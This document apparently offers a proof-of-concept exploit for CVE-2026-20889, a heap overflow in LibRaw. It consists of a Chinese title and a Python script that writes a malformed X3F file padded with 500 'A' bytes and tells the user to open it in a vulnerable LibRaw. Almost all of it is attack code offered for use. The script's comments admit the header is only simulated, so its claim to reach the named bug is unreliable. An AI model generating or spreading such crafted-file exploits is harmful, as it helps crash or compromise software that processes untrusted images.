CVE-2026-20889 LibRaw堆缓冲区溢出漏洞

import struct def create_malicious_x3f(filename): """ Generates a malformed X3F file to trigger the heap overflow in LibRaw. This PoC simulates a crafted header that causes x3f_thumb_loader to overflow. """ # X3F file header identifier file_id = b"FOVb" version = struct.pack('<I', 0x00020000) # Simulate a directory entry pointing to a malicious data block # In a real exploit, offsets and sizes would be carefully calculated # to overwrite specific heap metadata or return addresses. # Padding to reach the vulnerable parsing logic padding = b"\x00" * 0x20 # Malicious payload designed to overflow the heap buffer # Assuming a heap chunk of size N is allocated, we write N + X bytes. overflow_payload = b"A" * 500 with open(filename, 'wb') as f: f.write(file_id) f.write(version) f.write(padding) f.write(overflow_payload) if __name__ == "__main__": print("[*] Creating malicious X3F file for CVE-2026-20889...") create_malicious_x3f("exploit_CVE-2026-20889.x3f") print("[+] File 'exploit_CVE-2026-20889.x3f' generated successfully.") print("[*] Use this file with a vulnerable version of LibRaw to trigger the crash.")